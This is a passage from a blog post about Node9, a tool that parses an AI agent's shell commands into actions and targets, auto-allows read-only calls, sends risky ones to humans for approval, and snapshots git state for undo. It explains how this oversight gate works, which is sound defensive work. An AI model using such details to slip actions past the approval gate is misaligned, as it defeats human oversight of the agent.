  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;walk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;node&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AstNode&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;CallExpr&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// Reconstruct the actual token by joining all Parts&lt;/span&gt;
      &lt;span class="c1"&gt;// This resolves variable expansions and quoted strings&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Args&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Parts&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;[]).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Value&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// The executable: curl, rm, wget...&lt;/span&gt;
        &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nx"&gt;paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Target files/URLs&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Recursively walk all child nodes — catches nested pipes, subshells, redirects&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Parent&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;child&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;child&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;object&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;child&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;AstNode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;object&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;AstNode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ast&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;AstNode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;paths&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;allTokens&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By the time Node9 finishes walking the tree, it doesn't matter how the AI wrote the command. It extracts the &lt;strong&gt;Action&lt;/strong&gt; (the executable) and the &lt;strong&gt;Target&lt;/strong&gt; (the paths or URLs), then evaluates them against a deterministic policy waterfall, regardless of obfuscation.&lt;/p&gt;

&lt;p&gt;If the AST parser fails on a malformed command, Node9 falls back to a conservative tokenizer that splits on pipes, semicolons, and subshell operators. You never get a silent pass-through.&lt;/p&gt;




&lt;h2&gt;
  
  
  The 100ms Race for a Human Signature
&lt;/h2&gt;

&lt;p&gt;The biggest usability problem for any approval system is &lt;strong&gt;Verification Fatigue&lt;/strong&gt;. If the agent asks for permission on every &lt;code&gt;ls&lt;/code&gt; and &lt;code&gt;grep&lt;/code&gt;, developers stop reading and start spamming &lt;code&gt;Y&lt;/code&gt;. When that happens, security is theater.&lt;/p&gt;

&lt;p&gt;Node9 solves this with two mechanisms:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Auto-allow safe noise.&lt;/strong&gt; Read-only tool calls (&lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;Read&lt;/code&gt;, &lt;code&gt;Glob&lt;/code&gt;) are allowed instantly with zero interruption. No popup, no prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Multi-Channel Race Engine for destructive calls.&lt;/strong&gt; When a genuinely dangerous action is detected, Node9 fires three concurrent approval requests:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Native OS popup&lt;/strong&gt; a sub-second dialog (Mac, Windows, Linux) for instant keyboard approval when you're at your desk&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Slack&lt;/strong&gt; the request hits your phone if you've stepped away&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Terminal&lt;/strong&gt; a traditional &lt;code&gt;[Y/n]&lt;/code&gt; prompt for SSH sessions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first human response wins and unlocks execution. The others are cancelled.&lt;/p&gt;

&lt;p&gt;This allows you to walk away from a 20-step autonomous refactor, get coffee, and only be interrupted when something genuinely risky needs your signature.&lt;/p&gt;




&lt;h2&gt;
  
  
  Solution 2: The Invisible Undo Engine
&lt;/h2&gt;

&lt;p&gt;Sometimes you &lt;em&gt;want&lt;/em&gt; the AI to edit files. A refactor across 12 files is exactly where agents are useful. But what if it scrambles your logic?&lt;/p&gt;

&lt;p&gt;I wanted a &lt;code&gt;node9 undo&lt;/code&gt; command that works like &lt;code&gt;Ctrl+Z&lt;/code&gt; for the entire terminal session — one command that snaps everything back to the moment before the AI acted.&lt;/p&gt;

&lt;p&gt;The challenge: &lt;strong&gt;how do you snapshot a Git repo without polluting the user's branch history or staging area?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A naive &lt;code&gt;git commit -am "AI backup"&lt;/code&gt; would ruin the user's &lt;code&gt;git log&lt;/code&gt;. A &lt;code&gt;git stash&lt;/code&gt; would interfere with their in-progress work. Neither is acceptable.&lt;/p&gt;

&lt;p&gt;The answer is &lt;strong&gt;Dangling Commits&lt;/strong&gt;. By creating what Git technically calls "dangling commits" commits not reachable by any branch or tag, we can leverage the full power of the Git object database without polluting the user's development history. They exist inside &lt;code&gt;.git/objects&lt;/code&gt;, are completely invisible to &lt;code&gt;git log&lt;/code&gt;, &lt;code&gt;git status&lt;/code&gt;, and &lt;code&gt;git diff&lt;/code&gt;, but are fully addressable by their hash.&lt;/p&gt;

&lt;p&gt;Here is the exact &lt;code&gt;createShadowSnapshot&lt;/code&gt; function from &lt;code&gt;src/undo.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createShadowSnapshot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;tool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;unknown&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="c1"&gt;// Only run in a git repo&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;existsSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.git&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// 1. Create a temporary, isolated index — completely separate from the&lt;/span&gt;
  &lt;span class="c1"&gt;//    user's staging area. We never touch GIT_INDEX_FILE permanently.&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tempIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.git&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;`node9_index_&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;GIT_INDEX_FILE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;tempIndex&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="c1"&gt;// 2. Stage all files into the temporary index&lt;/span&gt;
  &lt;span class="nf"&gt;spawnSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;git&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;add&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-A&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="c1"&gt;// 3. Write a Tree object directly to the Git object database&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;treeRes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;spawnSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;git&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;write-tree&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;treeHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;treeRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="c1"&gt;// Clean up the temp index immediately — it was only needed for write-tree&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;existsSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tempIndex&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unlinkSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tempIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;treeHash&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;treeRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// 4. Create a Dangling Commit — no branch points to it, so git log never shows it&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;commitRes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;spawnSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;git&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;commit-tree&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;treeHash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-m&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;`Node9 AI Snapshot: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toISOString&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;commitHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;commitRes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="c1"&gt;// 5. Push the hash onto Node9's own snapshot stack (~/.node9/snapshots.json)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;readStack&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nx"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;commitHash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;argsSummary&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;buildArgsSummary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
